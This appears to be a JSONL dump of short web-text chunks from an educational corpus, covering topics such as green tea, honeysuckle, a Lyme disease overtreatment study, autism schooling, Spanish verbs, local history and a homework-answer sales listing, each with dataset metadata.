"suggests that green tea can prove beneficial in the fight against neurodegenerative diseases, which are often difficult to treat. green tea \u2019 s antioxidants can help treat parkinson \u2019 s disease, and laboratory studies indicate that egcg in green tea can delay the onset of alzheimer \u2019 s disease. this same polyphenol in green tea can also protect against neurological damage associated with stroke. green tea is also a popular ingredient for beauty and skin care products due to its range of benefits. the antioxidants that help treat and prevent diseases and health conditions have similarly beneficial effects on the skin. these antioxidant effects come in the form of green tea extract in many beauty and skin care products. research has indicated that egcg, the main polyphenol is green tea, can reactivate dying skin cells. this ability results in healthier, younger - looking skin. energized skin cells result in improved skin condition, and green tea \u2019 s egcg can provide this energy. research has also revealed that green tea can help protect the skin from the sun \u2019 s damaging rays. in this case, green tea can be taken in two forms. drinking 24 ounces of green tea a day can offer sun protection. alternatively, topical green tea cream can also protect skin cells from harmful uv radiation when used in conjunction with sunscreen. green tea in skin care products can also help in the fight against aging skin. the tea \u2019 s antioxidants possess anti - inflammatory properties that, in many cases, can slow down signs of aging. research continues to identify specific ways green tea helps minimize the symptoms associated with aging skin. green tea extract can be found in a range of beauty and skin care products thanks to these remarkable benefits. moisturizers for the face and body often feature green tea to rejuvenate skin. many creams are specifically marketed as green tea creams, giving users the antioxidant benefits of green tea extract. the ingredient can also be found in soaps, anti - aging serums, sunscreens and body washes. like other botanicals, green tea extract is a gentle, natural ingredient that is not associated with significant side effects. green tea is included on the food and drug administration \u2019 s generally recognized as safe list. thus, this plant - derived ingredient can produce significant health benefits as well as benefits for the skin and body without irritation for the majority of users. green tea extract, then, is an ideal ingredient in many beauty and personal care products", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.49931683771927127, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:11.407916"} {"text": "there are between 180 and 200 species of honeysuckle ( genus lonicera ), most of which are native to asia, although some originate in europe and north america. they vary widely in form \u2013 some species grow as vines, others as bushes ; most are deciduous, but some keep their leaves year - round \u2013 but they all have small, sweet - smelling trumpet - shaped flowers. honeysuckle is valued by gardeners for its scent and because it attracts butterflies, bees and hummingbirds, but the plant has a reputation of being aggressively invasive unless kept well - pruned. many species are cultivated for their flowers or as ground cover, but the most commonly found are italian ( l. caprifolium ), european or english ( l. periclymenum ) and japanese ( l. japonica ). honeysuckle is also sometimes referred to as woodbine. the plant occasionally called meadow honeysuckle is actually from a different genus, trifolium pretense. honeysuckle has a long history in traditional chinese medicine, in which stems of the plant were used to make a tea to detoxify the body. in europe, and later in america, the flowers were dried to make a tea or flower buds were crushed and mixed with honey for a syrup ; these treatments were used to relieve sore throats. the leaves and berries were avoided as they can be mildly toxic and cause irritation. currently, honeysuckle oil is steam distilled from the flowers and flower buds. used in massage and aromatherapy, the oil is considered to have a relaxing and calming effect and, conversely, has the reputation of causing very romantic dreams. when applied topically, products containing honeysuckle oil have been found to have anti - inflammatory benefits, particularly for treating contact dermatitis. the oil also has some antibacterial effects on the skin, although this has not been proven in clinical tests. honeysuckle oil is primarily used commercially in perfumes and as a scent in soap, body washes, shampoos ( particularly baby shampoos ) and candles.", "subdomain_id": "subdomain_quantum_thermodynamics", "similarity_score": 0.4402489586703431, "token_count": 425, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:11.409938"} {"text": "new haven, conn. - overtreatment and overdiagnosis of lyme disease have become associated with inappropriate use of health services, avoidable treatment - related illness and substantial disability and distress, according to a study from yale university ' s school of medicine. the study indicates that apprehensive patients can also cause doctors to hastily prescribe treatments without fully recognizing the consequences. although some of the improper treatment and diagnosis was \" patient driven, \" some responsibility did lay with the attending physician, researchers said. of the 209 patients studied, 60 % turned out not to have lyme disease at all, but still made an average of seven visits to a doctor, had four blood tests and underwent 42 days of antibiotic treatment. of that group, 42 % said they suffered depression after becoming convinced they had the disease. more than half reported adverse events from the antibiotics and 20 % sought additional treatment. lyme disease remains one of the most difficult diseases to treat because the symptoms may mimic other illnesses and lab tests are often unreliable. current endemic areas include the northeastern coast of the united states, the upper midwest and northern california into oregon. ticks carry the infection and transmit the borrelia burgdorferi spirochete. much has been learned about lyme disease since it was first diagnosed more than two decades ago. it is a multi - stage bacterial infection that is difficult to diagnose and treat. it can also progress into a disease with debilitating symptoms including arthritis, cardiovascular and neurological problems. it has rapidly become the most common tickborne illness, with nearly 100, 000 cases reported in the united states since 1982. in 1996 alone, more than 16, 000 cases were reported - a 32 - fold increase since the centers for disease control and prevention ( cdc ) began collecting surveillance data on the disease. however, this is a figure that most experts agree represents only a fraction of the cases that actually occur. the study patients were evaluated between april 1994 and may 1995. patients entered the study with a lyme disease diagnosis previously made by either referring doctors or the patients themselves. data were obtained on all patients through a 50 - item questionnaire. they also underwent comprehensive physical exam and serologic testing for the disease and agreed to follow - up exams. to identify adverse drug events, the patients were asked to report the name of the drug used, the duration of therapy, the mode of administration and whether any unanticipated reactions occurred with each course of antibiotic treatment. patients were instructed to document any reaction", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.43653390047196106, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:11.416346"} {"text": "drug events, the patients were asked to report the name of the drug used, the duration of therapy, the mode of administration and whether any unanticipated reactions occurred with each course of antibiotic treatment. patients were instructed to document any reaction to their treatment. if patients thought that an antibiotic treatment had caused a reaction that was not listed, they were instructed to record those reactions as well. a diagnosis of active lyme disease required the presence of erythema migrans or characteristic articular, neurologic or cardiac manifestations with serologic confirmation. a comprehensive history was taken and medical records were reviewed, as well as a complete physical exam. serologic testing was performed by enzyme - linked immunosorbent assay ( elisa ). a titer of 1 : 200 or greater for igm or igg was considered a positive result. all specimens with positive elisa results were subsequently tested for igm and igg antibodies in the laboratory by doing western blot analysis using a two - step procedure and were evaluated according to cdc criteria. for antibiotic reactions, minor events were defined as reactions that were self - limiting and did not require discontinuation of antibiotic therapy, or that required doctor intervention but was not serious or life - threatening. a major event was defined as any drug reaction that was potentially serious or life - threatening. as stated above, 60 % of the study ' s patients lacked any evidence of previous or active lyme disease, according to the researchers. most of the patients had been previously told they had lyme disease, and 75 % had received at least one course of antibiotic treatment. about one - third of these patients were thought to have a non - specific fatigue - arthralgia - myalgia syndrome. more than half of those had treatable disorders, such as depression, rheumatoid arthritis, bursitis and myasthenia gravis. \" failure to diagnose and treat these conditions represents an additional type of treatment - related illness, \" said m. carrington reid, md, phd, associate professor of medicine at yale medical school. \" we think our findings reflect a widespread phenomenon in current management of [ lyme disease ]. \" inappropriate use of health services was great among those patients with no active lyme disease. these patients had a median of four serologic tests, seven office visits and 42 days of antibiotic treatment. drug therapy resulted in unavoidable treatment - related illness that included minor adverse drug reactions", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.485982192712345, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:11.417447"} {"text": "those patients with no active lyme disease. these patients had a median of four serologic tests, seven office visits and 42 days of antibiotic treatment. drug therapy resulted in unavoidable treatment - related illness that included minor adverse drug reactions, such as diarrhea and stomach cramps. there was also a large amount of disability and depression found among patients with no evidence of lyme disease. researchers speculated that many patients and doctors viewed the disease as a chronic and often incurable illness that required multiple courses of antibiotic treatment. a physician diagnosis, as opposed to self - diagnosis, reinforced this belief and contributed to increased depression and stress. reid and his team recommend that serologic tests only be performed when trying to confirm a well - formulated clinical suspicion of lyme disease. the use of protracted courses of antibiotic therapy should be avoided because active lyme disease is effectively treated, with very few exceptions, by a single course of antibiotics. patients with active disease should be assured that complete resolution of symptoms is expected but may not occur for several months. also, among patients who present with non - specific symptoms, a diagnosis of other treatable conditions should be considered. and finally, for many patients who present with a presumptive diagnosis of lyme disease and lack evidence of active infection, customary reassurance may not suffice - simply removing the lyme disease label may not be enough for most patients. for more information : - reid mc, schoen r. the consequences of overdiagnosis and overtreatment of lyme disease : an observational study. ann intern med. 1998 : 128 ; 354 - 62. you can express your views on this article, or other relevant themes, in the infectious diseases in children specialty forums.", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.44515087876088155, "token_count": 358, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:11.418226"} {"text": "autistic students require appropriate instruction for all my many years as a social worker ( now retired ), as well as an education surrogate parent, i have been involved with helping families who have children with special needs, including dyslexia and autism. the other day i was at juvenile court to give support to a family called in because of poor school attendance for two of their children. it was the court ' s ruling that further absences will result in foster care placement of these children. in this particular family, the children in question have been diagnosed with autism in the past. i know of their original diagnoses because i worked intensively with this family when the children were very young to get them the help they needed at the time. ( although both children still receive special education services, i do not know whether autism is a factor in their individual education plans. ) the education of children with autism requires attention to a variety of factors, including adaptations to instructional strategies, but also to the ways in which such children are exposed to social stimuli and interaction. for example, autistic children are frequently sensitive to audio stimuli ( that is, the brain ' s response to sound waves is delayed, resulting in confusion and frustration ), which can affect their behavior and result in acute stress when confronted with classroom and transportation environments. in the case of these two children, attendance problems are largely due to their outright refusal to take buses for reasons noted above, and therefore reliance on walking to and from school ( a distance of two miles ). the family does not own a car. autistic people, when treated correctly, can make remarkable strides in both intellectual and social capabilities. einstein and van gogh, for instance, are now considered to have had autistic traits. in my professional experience with children with special needs, the only school in this area that dealt with this problem successfully was reads academy. it is my hope that the new bedford school department can come up with more holistic approaches to educating children with special needs, by seeking and treating reasons for unproductive behaviors, and not by \" punishing \" the behavior itself.", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4518416103148115, "token_count": 429, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:11.420892"} {"text": "| learn spanish | lessons | programs | spanish software | dictionaries | hispanic culture | about learn spanish dvd free spanish lessons spanish movies online spanish courses | special offer! click here for free spanish lessons! spanish language lessons here are a few basic spanish lessons and links to quality online resources where you can learn how to speak spanish by starting - or continuing - the education process. also use these lessons and resources as quick reference on grammar and vocabulary. bookmark this page and look for updates as we regularly add new lessons. if you ' re looking for free online spanish lessons, click here. it ' s one of the best resources to learn to speak spanish. so is this \u2014 click here. spanish verbs if you want to receive the best spanish verb training available on the internet, and exercise your conjugation muscles to the point where you know how to deeply understand spanish verb forms, click on this advanced verb module now. for lessons on conjugating spanish verbs, check out our review of this amazing software that teaches more quickly and effectively than any book or classroom lesson plan, based on our observations teaching real beginner students. click here now to read our review. here on this page we also offer introductory spanish verb conjugation training : first you should know there are three verb forms in spanish, each distinguishable by the last two words, - ar, - er, and - ir verbs. hablar - to talk comer - to eat vivir - to live the above forms are what is known as the \" infinitive \" form of the verb. when using these words in the real world, they must change their form in order to make sense. for instance, when i want to express that \" i talk \" i must say hablo. when i want to express that you talk, i need to say hablas, and so on. here is the conjugation for hablar i talk - yo hablo you talk - tu hablas he, she, you ( formal ) talk ( s ) - el, ella, ud habla we talk - nosotros hablamos you ( plural ) talk - vosotros hablais they, you ( plural, formal ) talk - ellos, ellas, uds. habla this conjugation is standard for almost all verbs ending in - ar. the conjugation changes for - er and - ir verbs, although it is the same for both - er and - ir forms ( except in the \" we \"", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.46369841841658843, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:11.433886"} {"text": "habla this conjugation is standard for almost all verbs ending in - ar. the conjugation changes for - er and - ir verbs, although it is the same for both - er and - ir forms ( except in the \" we \" form ). here are the conjugations for comer and vivir : i eat - yo como you eat - tu comes he, she, you ( formal ) eat ( s ) - el, ella, ud come we eat - nosotros comemos you ( plural ) eat - vosotros comeis they, you ( plural, formal ) eat - ellos, ellas, uds. come i live - yo vivo you live - tu vives he, she, you ( formal ) live ( s ) - el, ella, ud vive we live - nosotros vivimos you ( plural ) live - vosotros viveis they, you ( plural, formal ) live - ellos, ellas, uds. vive in all languages, verbs have different conjugations in order to indicate who ( or what ) is carrying out the action that the verb describes. for example, i write, while she writes. notice that the s indicates the the third person singular form \" she \" while the lack of an s indicates that \" i \" am doing the writing. similarly, the absence of an s will indicate that \" you \", \" them \", or \" we \" write. as you can see, in english there is very little change in form of verbs as they are conjugated. in spanish, however, the form of the verb is different for almost every conjugation, as you can see above, and these verb forms are important to learn. good spanish lessons to learn verbs there is software to help you learn and conjugage spanish verbs in all their complex forms, and it works so much faster than those big, tedious grammar books. click here now to download the ultimate spanish verb conjugator in just seconds. become proficient at complex spanish verbs. here is a superb online resource for looking up the conjugation of spanish verbs. for more easy, yet precise language training click here to start the advanced verb module. \u00a9 copyright 2007 - 2012 spanishprofessor. org - language learning resource", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4328752362576283, "token_count": 476, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:11.441661"} {"text": "cottages \u2013 remains part of a fine old oak staircase. this has twisted balusters and a large twisted newel - pole, reaching the ceiling and supporting a beam above. the building also retains its original stone door lintel over the main entrance, although the original oak door and its iron hinges preserved well into this century have gone. oakenrod hall was radically altered by edmund butterworth, a merchant, who took it after the gartsyde family left. he tried to bring the hall in line with 18th century tastes by building on a wing in plain brick. in 1787, the hall was passed to the royds family, who held it for more than a century and let it as cottages. in the 1920 \u2019 s the hall was said to be in a state of \u201c semi dilapidation \u201d and the crumbling chimneys had to be rebuilt in brick. oakenrods stone and slate structure mark it out from other surviving halls around the place is first mentioned by name in a deed of about 1238, when it was described as an \u201c assart \u201d ( clearing ) called akenrode. ' oakenrod ' is old english and means a clearing in the oaks, or literally, a place rid of oaks. and as its earliest history reveals, it has roots which go deep into", "subdomain_id": "subdomain_quantum_thermodynamics", "similarity_score": 0.3985076384166734, "token_count": 263, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:11.484076"} {"text": "veterans day 2011 provides us an opportunity to celebrate the millions of great americans who defended our country. during 2011 we should give special thanks to the 3. 8 million americans who fought in the civil war. many estimates claim that over 600, 000 soldiers died in the civil war from battles, disease, and death in prisons and other causes. clearly, more americans died in the civil war than in any other american conflict. the capital district was one of the first parts of the country to send soldiers to the civil war in april 1861. soldiers from local counties such as albany, columbia, fulton, montgomery, rensselaer, saratoga, schoharie, schenectady, warren, and washington and other counties continued to fight until the conflict ended in 1865. imagine four straight years of awful battles, death from disease and other causes. soldiers from this area staffed approximately 31 infantry units, 5 cavalry units and 7 artillery units. soldiers from our region show up at the first significant land battle of the civil war which was held at fortress monroe, virginia on june 11, 1861. the new york times reported on june 14, 1861 that colonel frederick townsend of the albany regiment participated in the battle. records also show that citizens from the capital district communities participated in almost every famous battle of the eastern portion of the civil war. union victories such as the battle of antietam in 1862, gettysburg in 1863, and the victories in virginia by general grant in 1864 and 1865 were supported by soldiers from our area. citizens from albany can be found in some of the deadliest battles in the civil war. for instance, local citizens who formed company e of the 44th new york volunteer infantry which was organized at the normal school of albany ( now known as the university at albany ) can be found charging up the hill against the confederate artillery and robert e. lee \u2019 s mass infantry at fredericksburg, virginia on december, 13 1862. members of the same unit can be found defending little round top at gettysburg, pennsylvania on june 2, 1863 thus leading to the defeat of the confederate army advance being led by confederate generals lee, longstreet, and hood.", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.4009249197367427, "token_count": 430, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:11.502958"} {"text": "ca studies flag, anthem | classmates harley haydon and alexander green assist chesapeake academy fourth - grader tyler dunaway as he learns the procedure for raising the virginia state flag from head of school debbie cook and teacher jennifer goodlett. | aware that nothing instills patriotism more than a good patriotic song, chesapeake academy music teacher beth somers has embarked on a no - child - left - behind mission to ensure that her students in grades k - 8 know the words to and understand the meaning behind our country \u2019 s national anthem, \u201c the star spangled banner. \u201d \u201c with the olympics behind us and the presidential elections before us, i can think of no better time, \u201d said somers, who conceived lesson plans on flag etiquette and patriotism while watching the occasional athlete stumble through the lyrics during medal ceremonies at this summer \u2019 s games. with a more in depth understanding of american history, somers \u2019 middle school students were able to comprehend the bigger picture at the time of the battle of baltimore in 1814 and the birth of the anthem. as a follow - up activity, representatives from the american legion post in reedville came to chesapeake academy in october to host an all - school assembly on flag etiquette and patriotism. as a culminating project, chesapeake academy will participate in the creation of an all - school human flag on the middle school soccer field in early november while wearing school uniform clothing of red, white and blue.", "subdomain_id": "subdomain_quantum_mechanics", "similarity_score": 0.40670591856001004, "token_count": 290, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:11.506642"} {"text": "tutorials posted by aguscandra aguscandra from harvard aguscandra ' s posted tutorials | $ 1. 00 | | chemistry | | need asap | | a + answer... and reducing agents are key terms used in describing the reactants in \u2020 redox reactions \u2020 that involve transferring electrons between reactants to form products. here, we will look at what defines an...... | may. 21, 2013 at 12 : 51 : 18am | | $ 0. 99 | | mathematics | | easy technique to find the square? | | a + answer... nt for children. \u00ac \u2020 example : find \u201a ao 6\u00ac \u2020 to 4 decimal places since 2 2\u00ac \u2020 = 4 and 3 2\u00ac \u2020 = 9, we know that \u201a ao 6\u00ac \u2020 is between 2 and 3. let ' s just make a guess of it being 2. 5. squaring that we get 2. 5...... | may. 21, 2013 at 12 : 44 : 37am | | $ 3. 99 | | psychology | | psy303 : abnormal psychology | | a + answer... \u2020 genetics, prenatal development, early environment, \u2020 neurobiology \u2020 and psychological and social processes are important contributory factors. currently, there are five different types of schizophrenia...... | may. 21, 2013 at 12 : 00 : 11am | | $ 74. 99 | | astronomy | | information about the splitting of the moon | | a + answer... olability of heavenly bodies. philosophers held that the heavenly bodies could not be pierced because unlike the terrestrial matter, they were not composed of the four fundamental elements of earth,...... | may 19, 2013 at 7 : 47 : 59pm | | $ 39. 99 | | astronomy | | the milky way | | a + answer... ight - years form a\u00ac \u2020 bulge\u00ac \u2020 and one or more bars. the very center is marked by an intense radio source named\u00ac \u2020 sagittarius a * \u00ac \u2020 which is likely to be asupermassive black hole. stars and gas throughout...... | may 19, 2013 at 7 : 42 : 26pm | | $ 4. 99 | | history | | his / 135 week 1.... need asap! no plagiarism! | | a + answer... for decades. \u2020", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.5667660283602992, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:11.719706"} {"text": "2013 at 7 : 42 : 26pm | | $ 4. 99 | | history | | his / 135 week 1.... need asap! no plagiarism! | | a + answer... for decades. \u2020 the korean war was able to bring diverse effects to not only \u2020 korea \u2020 but the world. the korean war was one of the most destructive and brought economic and social damage to \u2020 korea....... | may 19, 2013 at 7 : 36 : 16pm | | $ 0. 99 | | economics | | distinguish between crowding out and cro | | a + answer... ountry ' s \u2020 budget deficit \u2020 in periods of economic depression can lead to higher private investment because it brings higher \u2020 government spending \u2020 and monetary growth \" crowding out is when government...... | may. 18, 2013 at 04 : 32 : 55am | | $ 12. 99 | | english | | i need an article | | a + answer... reasons why these analytical threads have remained so prevalent has been the ongoing influence of globalization studies. beginning with theories of a world system and modernization in the \u2020 \u2020 \u2020 \u2020 \u2020 \u2020...... | may. 18, 2013 at 04 : 22 : 05am | | $ 4. 99 | | mathematics | | what are some good songs for parties / bon | | a + answer... h brooks ) - - - - - - - big time - big and rich ) - - - - - - rainbow stew - merle haggard ) sweet southern comfort - buddy jewell ) all my rowdy friends our coming over - tonight - born to boogie - hank willams jr. ) family...... | may 15, 2013 at 9 : 22 : 02pm | | $ 24. 99 | | business | | internet seearches by small business owners | | a + answer... ch \" knows too well the challenge small business owners face to afford the costs of conducting market research. small businesses believe focus groups and surveys are unaffordable. marketing research...... | may 15, 2013 at 8 : 57 : 53pm | | $ 5. 99 | | general - questions | | government vs. private sector | | a + answer... f sticking to what is indicated by law, while the private sector is managed under the rules of shareholders and corporate owners. \u00ac \u2020 finally, the beneficiary", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.49563861742760396, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:11.721728"} {"text": "- questions | | government vs. private sector | | a + answer... f sticking to what is indicated by law, while the private sector is managed under the rules of shareholders and corporate owners. \u00ac \u2020 finally, the beneficiary of the services offered by the public...... | may 15, 2013 at 8 : 15 : 13pm | | $ 4. 99 | | business | | budgeting and forecasting | | a + answer... sing, e. g., excel ) on the same graph the original values of a time series variable and the predicted values from several different forecasting methods, thus facilitating a visual comparison. you may...... | may 14, 2013 at 6 : 43 : 42pm | | $ 0. 99 | | education | | discuss the ways an employer determines | | a + answer... of joining a new company. step 1 review your job descriptions for accuracy and completeness. compare them to advertised job postings for similar positions to ensure they contain...... | may 14, 2013 at 5 : 32 : 59pm | | $ 1. 99 | | economics | | principles of economics | | a + answer... rce ( s ) : \u00ac \u2020 thornton, mark. cantillon and the invisible hand. quarterly journal of austrian economics,... | may 12, 2013 at 4 : 02 : 55pm | | $ 0. 99 | | health - care | | human capital | | a + answer... mbodied in the ability to perform\u00ac \u2020 labor\u00ac \u2020 so as to produceeconomic value. it is an aggregate economic view of the human being acting within economies, which is an attempt to capture the social,...... | may 12, 2013 at 3 : 51 : 36pm | | $ 0. 99 | | health - care | | strategic training | | a + answer... egic training is vitally important to any employee within any organization. it is important for the content of the training to be pre - determined for more utilization. the better planned the training...... | may 12, 2013 at 3 : 38 : 34pm | | $ 0. 25 | | business | | the shift to export crops in central a | | a + answer... has meant answer support... | may 12, 2013 at 3 : 35 : 46pm | | $ 0. 25 | | business", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.5026726764347276, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:11.723481"} {"text": "25 | | business | | the shift to export crops in central a | | a + answer... has meant answer support... | may 12, 2013 at 3 : 35 : 46pm | | $ 0. 25 | | business | | in _ _ _ _ _ _ the u. s. split off panama from | | a + answer... e u. s. split off panama... | may 12, 2013 at 3 : 32 : 38pm | | $ 9. 99 | | general - questions | | write an origianl paper describing how e | | a + answer... often an unrealized goal. there are three major steps in the performance appraisal process : identification, measurement, and management. with identification, the behaviors necessary for successful...... | may. 12, 2013 at 08 : 48 : 49am | | $ 0. 99 | | history | | discuss federal powers vs. state powers | | a + answer... currency, set standards of weights and measures declare war raise and maintain an army and navy implied powers : \u00ac \u2020 based on the\u00ac \u2020 elastic clause \u00ac \u2020 ( art. i, \u00ac\u00df 8, cl. 5 ), powers considered \u201a aun...... | may 09, 2013 at 7 : 43 : 29pm | | $ 4. 99 | | business | | urgent help needed | | a + answer... arison to the total organization. \u00ac \u2020 per unit equipment utilization : \u00ac \u2020 measures the efficient use of equipment. \u00ac \u2020 effectiveness : \u00ac \u2020 this measure should be\u00ac \u2020 viewed in terms of the extent to which...... | may 09, 2013 at 7 : 28 : 22pm | | $ 0. 99 | | business | | what are the functions of human resource | | a + answer... g hr software that actively manages people is the only way to effectively run a hr department. applicant tracking software does not just focus on numbers. it is tailored to ascertain the needs of...... | may 09, 2013 at 6 : 34 : 59pm | | $ 0. 99 | | business | | collaborative culture in a business, and | | a + answer... illie joe ' s entourage now the expectation is that\u00ac \u2020 classroom teachers\u00ac \u2020 will authentically and appropriately embed technology into the learning experience. in an ideal world, this integration would.....", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.4994085905044561, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 3, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:11.724374"} {"text": "| a + answer... illie joe ' s entourage now the expectation is that\u00ac \u2020 classroom teachers\u00ac \u2020 will authentically and appropriately embed technology into the learning experience. in an ideal world, this integration would...... | may. 09, 2013 at 12 : 53 : 28am |... t in medicine therefore ensure better \u2020 health care - economical : the financial state the country is in plays a big role in the \u2020 practice of medicine. a cris... | may. 09, 2013 at 12 : 31 : 27am | | $ 2. 99 | | business | | personal financial planning | | a + answer... o train your mind to make better decisions. with respect to making personal choices, many of us seek out the advice of experts and go information - hunting on the internet. have you noticed that this...... | may. 09, 2013 at 12 : 16 : 53am | | $ 0. 49 | | mathematics | | quadratic formula | | a + answer... for x : \u2020 notice what happened to the + / - sign in that example. because we were adding or subtracting 0, both answers are the same. \u2020 there are actually two answers for any quadratic formula,...... | may. 09, 2013 at 12 : 09 : 35am |... nd is the \u2020 source \u2020 unbiased. is the data timely, relevan... | may 08, 2013 at 8 : 41 : 43pm |... ion of specific goals. clearly define your expectations and then establish a time period within which you must meet those goals. improve your performance by requesting feedback from others. this can...... | may 08, 2013 at 8 : 36 : 14pm | | $ 0. 99 | | business | | how do i invest in the stock market? | | a + answer... estor you need to study the markets. you need to understand what went on in the past and what triggered it. you need to stay on top of of the market and know when to buy and know when to sell....... | may 08, 2013 at 8 : 24 : 39pm | | $ 2. 99 | | linguistics | | please translate the following to arabic | | a + answer | may 07, 2013 at 8 : 52 : 31pm | | $ 0. 99 | | computer -", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.5232483363080995, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 4, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:11.725245"} {"text": "8 : 24 : 39pm | | $ 2. 99 | | linguistics | | please translate the following to arabic | | a + answer | may 07, 2013 at 8 : 52 : 31pm | | $ 0. 99 | | computer - science | | evolution of data security | | a + answer... been extended to include privacy, confidentiality, and integrity. for example : chinese foreign ministry spokesman zhu bangzao rejected allegations that china stole u. s. nuclear secrets, saying...... | may 06, 2013 at 8 : 56 : 15pm |... ing depreciation factors that determine depreciation expense are the initial cost, the residual value and the useful life. depreciation can only be estimated because it depends on several potentially...... | may. 06, 2013 at 01 : 50 : 39am | | $ 0. 25 | | business | | the vaules of ethical leadership | | a + answer... rship it is important for the leader to consider how his or her decisions impact others 7. motivating followers to put the needs or interests of the group ahead of their own is another quality of...... | may. 06, 2013 at 01 : 42 : 44am | | $ 0. 99 | | psychology | | operant conditioning | | a + answer... l conditioning ) is a method of learning that occurs through rewards and punishments for behavior. through operant conditioning, an association is made between a behavior and a consequence for that...... | may 05, 2013 at 11 : 22 : 47pm | | $ 0. 99 | | business | | what is the difference between operating | | a + answer... because much of the money involved in mining goes to paying the workers. service companies that make up much of our economy, such as \u2020 restaurants \u2020 or \u2020 hotels, are labor intensive as well. they all...... | may. 05, 2013 at 08 : 16 : 29am | | $ 2. 99 | | biology | | anatomy and physiology - cells | | a + answer... e of growth or death. all cells of the body grow and die at a rate determined by genetic instructions. normal cells may become cancer cells if a change occurs in the genes that express proteins that...... | may 04, 2013 at 8 : 59 : 54pm | | $ 3. 99 | | biology", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.5401405707886632, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 5, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:11.726104"} {"text": "rate determined by genetic instructions. normal cells may become cancer cells if a change occurs in the genes that express proteins that...... | may 04, 2013 at 8 : 59 : 54pm | | $ 3. 99 | | biology | | anatomy and physiology - cellular metabolism | | a + answer... eacts with the\u00ac \u2020 amino group\u00ac \u2020 of the other molecule, causing the release of a molecule of\u00ac \u2020 water\u00ac \u2020 ( h 2o ), hence the process is a\u00ac \u2020 dehydration synthesis\u00ac \u2020 reaction ( also known as a\u00ac \u2020 condensation...... | may 04, 2013 at 8 : 51 : 59pm | | $ 2. 99 | | business | | u. s. federal reserve | | a + answer... in december 1913. the \u201a aufederal \u201a ae in the title implied that the law applied to the whole country, and \u201a aureserve \u201a ae emphasized the new institution \u201a aos role as a reserve holder and reserve supplier...... | may 04, 2013 at 8 : 46 : 32pm | | $ 4. 99 | | psychology | | abnormal psy | | a + answer... ory ). the delusions of paranoid schizophrenics usually involve thoughts of being persecuted or harmed by others or exaggerated opinions of their own importance, but may also reflect feelings of...... | may 04, 2013 at 8 : 42 : 12pm | | $ 9. 99 | | computer - science | | how often should i empty my temporary internet cache? | | a + solutions... e there is only a certain amount of disk space for the cache, it has to erase files when new ones are added. having a full cache isn ' t something you should be... | may 03, 2013 at 9 : 12 : 49pm | | $ 10. 00 | | computer - science | | should i have cookies turned on or off in my web browser? | | a + solutions... llow you to personalize the web pages you visit, which can save you a lot of time since you don ' t have to re - enter information every time you visit the site. a lot of people seem to get worried... | may 03, 2013 at 8 : 49 : 14pm | | $ 0. 50 | | computer - science | | why won ' t java applets run in my browser", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.5490527580016104, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 6, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:11.726951"} {"text": "the site. a lot of people seem to get worried... | may 03, 2013 at 8 : 49 : 14pm | | $ 0. 50 | | computer - science | | why won ' t java applets run in my browser? | | a + solutions... version. html \u2020 displays ( for both browsers ) \" java version : 1. 6. 0 _ 31 from sun microsystems inc. \" am i therefore right to assume that the version of java used by my browsers ( downloaded fromhttp : / / www. ja...... | may 03, 